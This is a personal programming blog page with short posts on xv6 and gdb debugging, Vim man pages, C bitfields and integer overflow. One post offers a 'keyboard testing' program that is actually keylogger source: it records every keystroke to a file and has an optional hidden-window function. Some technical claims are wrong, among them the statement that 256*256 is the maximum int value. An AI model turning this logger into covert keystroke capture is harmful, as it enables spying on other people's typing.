Showing posts with label programming. Show all posts
Showing posts with label programming. Show all posts

Saturday, May 29, 2021

XV6 - Very Simple Unix implementation for educational purposes from MIT

In linux terminal 1

$ sudo apt-get install qemu-kvm qemu virt-manager virt-viewer
$ git clone git@github.com:mit-pdos/xv6-public.git
$ cd xv6-public
$ make
$ make qemu
$ make qemu-nox-gdb

In linux terminal 2

$ gdb kernel
> target remote localhost:26000
> b exec
> c
> file _cat
> b main
> c

In linux terminal 1

$ cat README

look gdb stoped in breakpoint in terminal 2

Wednesday, March 31, 2021

C/C++ manpages quick access from VIM

Vim has by default a helpful shortcut to open the man page of the word under cursor, Shift + k, (or captital K), but very frequently we have shell commands with the same name of a C function, and for example

man printf actually opens the man page for the command, not the C function, but

man 3 printf opens the man pages of the C function, so to open this same man page in Vim, you need to use Shift + 3k (3K)

and for example readlink C function it's man 2 readlink, so in Vim it is Shift + 2k (2K)

Install C++ man pages libstdc++-10-doc


Wednesday, March 10, 2021

gdb print wchar_t *

wchar.gdb

define wchar_print 
        echo "

        set $i = 0
        while (1 == 1)
            set $c = (char)(($arg0)[$i++])
            if ($c == '\0')
                loop_break
            end
            printf "%c", $c
        end

        echo "\n
end


$ gdb -x wchar.gdb  ./myprogram
> wchar_print  mywidevar

or with modern gdb

> set target-wide-charset UTF-16
> p (wchar_t*) mywidevar


Source: https://www.generacodice.com/en/articolo/370005/How-can-I-display-Unicode-strings-while-debugging-on-linux

Monday, March 1, 2021

(Debug) GDB with full colored dashboard

$ pip install pygments

$ wget -P ~ https://git.io/.gdbinit

If gdb version prior to 7.7 and python prior to 2.7 execute this

$ mkdir -p ~/.gdbinit.d/
$ wget 'https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;a=blob_plain;f=gdb/python/lib/gdb/FrameDecorator.py' -O ~/.gdbinit.d/FrameDecorator.py
$ sed -i '1s/^/python gdb.COMPLETE_EXPRESSION = gdb.COMPLETE_SYMBOL\n/' .gdbinit
$ sed -i "s/gdb_breakpoint.temporary/None/g" .gdbinit

$ cat >>~/.gdbinit <<EOF
python

import imp
gdb.FrameDecorator = imp.new_module('FrameDecorator')
gdb.FrameDecorator.FrameDecorator = FrameDecorator
end
EOF

You can also send module to be shown on different terminals

start gdb 

$ gdb my_program

in another terminal

$ tty
> /dev/pts/3

in gdb to move Registers to this other terminal 

> dashboard breakpoints -output /dev/pts/3
> dashboard variables -output /dev/pts/3
> dashboard -layout variables stack source breakpoints

to Get help 

>>> help dashboard

Wednesday, February 24, 2021

Testing keyboard keys

Online in browser
https://keycode.info/

On Windows
install
https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk/ 
and use spy++ that comes with it

On Linux
$ xev


Creating your own Windows Keyboard testing application  copy paste this code and
       
       
#include <iostream> 
#include <windows.h> 
#include <winuser.h>

#pragma comment(lib,"user32.lib")  //Use this line to get compiled on Visual Studio Code quick

using namespace std;

int Record (int key_stroke, char *file);
void Hide();

int main() {
 //   Hide();
    char i;

    while (1) {
        for(i = 8; i <= 190; i++) {
            if (GetAsyncKeyState(i) == -32767)
                Record(i, "keys.log");
        }
    }
    system("pause");
    return 0;
}


int Record (int key_stroke, char *file) {
    if ((key_stroke == 1) || (key_stroke == 2))
        return 0;

    FILE * OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");

    cout << key_stroke << endl;

    if (key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n");
    else if (key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == 190 || key_stroke == 110)  fprintf(OUTPUT_FILE, "%s", ".");
    else if (key_stroke == 8)          fprintf(OUTPUT_FILE, "%s", "BACKSPACE");
    else if (key_stroke == VK_TAB)     fprintf(OUTPUT_FILE, "%s", "TAB");
    else if (key_stroke == VK_SHIFT)   fprintf(OUTPUT_FILE, "%s", "SHIFT");
    else if (key_stroke == VK_CONTROL) fprintf(OUTPUT_FILE, "%s", "CTRL");
    else if (key_stroke == VK_ESCAPE)  fprintf(OUTPUT_FILE, "%s", "ESC");
    else if (key_stroke == VK_END)     fprintf(OUTPUT_FILE, "%s", "END");
    else if (key_stroke == VK_HOME)    fprintf(OUTPUT_FILE, "%s", "HOME");
    else if (key_stroke == VK_LEFT)    fprintf(OUTPUT_FILE, "%s", "LEFT");
    else if (key_stroke == VK_UP)      fprintf(OUTPUT_FILE, "%s", "UP");
    else if (key_stroke == VK_RIGHT)   fprintf(OUTPUT_FILE, "%s", "RIGHT");
    else if (key_stroke == VK_DOWN)    fprintf(OUTPUT_FILE, "%s", "DOWN");
    else fprintf (OUTPUT_FILE, "%s", &key_stroke);

    fclose(OUTPUT_FILE);
    return 0;
}


void Hide() {
    HWND HiddenWindow;
    AllocConsole();
    HiddenWindow = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(HiddenWindow, 0);
}
       
              
 
To Compile it in Visual Studio Code Follow the instruction in the website bellow https://code.visualstudio.com/docs/cpp/config-msvc 

Open Developer Command Prompt for VS 2017 start VS Code from it code . 
create
       
 
  task.json
  {
    "version": "2.0.0",
    "tasks": [
        {
            "type": "shell",
            "label": "cl.exe build active file",
            "command": "cl.exe",
            "args": [
                "/Zi",
                "/EHsc",
                "/Fe:",
                "${fileDirname}\\${fileBasenameNoExtension}.exe",
                "${file}"
            ],
            "problemMatcher": [
                "$msCompile"
            ],
            "group": "build"
        },
        {
            "type": "cppbuild",
            "label": "C/C++: cl.exe build active file",
            "command": "cl.exe",
            "args": [
                "/Zi",
                "/EHsc",
                "/nologo",
                "/Fe:",
                "${fileDirname}\\${fileBasenameNoExtension}.exe",
                "${file}"
            ],
            "options": {
                "cwd": "${workspaceFolder}"
            },
            "problemMatcher": [
                "$msCompile"
            ],
            "group": {
                "kind": "build",
                "isDefault": true
            },
            "detail": "Task generated by Debugger."
        }
    ]
}             
 
       
 
  create launch.json
  
  {
    "version": "0.2.0",
    "configurations": [
      {
        "name": "cl.exe build and debug active file",
        "type": "cppvsdbg",
        "request": "launch",
        "program": "${fileDirname}\\${fileBasenameNoExtension}.exe",
        "args": [],
        "stopAtEntry": false,
        "cwd": "${workspaceFolder}",
        "environment": [],
        "externalConsole": false,
        "preLaunchTask": "cl.exe build active file"
      }
    ]
  }
              
 

Wednesday, June 10, 2020

Programming ESP 8266 - ESP01 - Arduino IDE

Using Arduino UNO + ESP01
https://www.curtocircuito.com.br/blog/conectando-o-arduino-a-internet-com-esp01

Using ESP01 standalone

https://blog.eletrogate.com/automacao-residencial-com-a-alexa-amazon-e-esp-01/

https://blog.eletrogate.com/gravando-programas-no-esp-01-com-o-adaptador-usb/

https://blog.eletrogate.com/nodemcu-esp12-usando-arduino-ide-2/#Instalando%20Arduino


To have ESP8266 in the Arduino IDE, go to FILE> Preferences, copy the link below in the field Additional Boards Manager URLs:  then click OK.
http://arduino.esp8266.com/stable/package_esp8266com_index.json

Tools > Board > Boards Manager

Find ESP 8266 and install


For ESP-01 use Generic ESP 8266 Module

Saturday, June 6, 2020

Struct with defined number of bits for each member in C

typedef struct _bitfield {
     unsigned one_bit0:1;
     unsigned one_bit1:1;
     unsigned two_bits:2;
     unsigned four_bits:4;
} BITFIELD;


#include
#include

typedef struct _xpto {
int x;
struct {
int p;
unsigned t:1;
}PT;
char o;

} XPTO;

union {
int result;
char byte[2];
struct {
unsigned b0:1;
unsigned b1:1;
unsigned b2:1;
unsigned b3:1;
unsigned b8:28;
} ST;
} adc;

int main(int argc, char *argv[]) {
XPTO myxpto = { .x=10, .PT = { .p=2, .t=1 }, .o='A'};
printf(".x = %d, .PT { .p = %d, .t = %d }, .o = %c\n",myxpto.x,myxpto.PT.p,myxpto.PT.t,myxpto.o);

adc.byte[0] = 1;
adc.byte[1] = 2;
printf("%x\n", adc.result);
adc.ST.b0 = 0;
printf("%x\n", adc.result);
return 0;
}

Overflow problem - Curious case case of Binary Search

https://thebittheories.com/the-curious-case-of-binary-search-the-famous-bug-that-remained-undetected-for-20-years-973e89fc212

When calculating the mid position in the array

This operation can result in a overflow problem when low + high is too much high

mid = (low + high) / 2;

Replacing by this operation we no longer have the same problem
mid = low + (high - low)/2;


.............................................
Other example of overflow problem
int x = 256;
int y = 256;

unsigned long  result;
result = x * 256 * 256 + y*256*256;
the result of the operation will be calculated with size of the highest operand that is integer, and 256 * 256 is already the maximum value of a integer, multiplied by an integer with value 256, the result will not fit in Integer space.

To fix this, we increase the size of the highest operando
result = x * 256 * 256ul + y*256*256ul;
or
result = ((unsigned long)x) * 256 * 256 + ((unsigned long)y)*256*256;



Blog Archive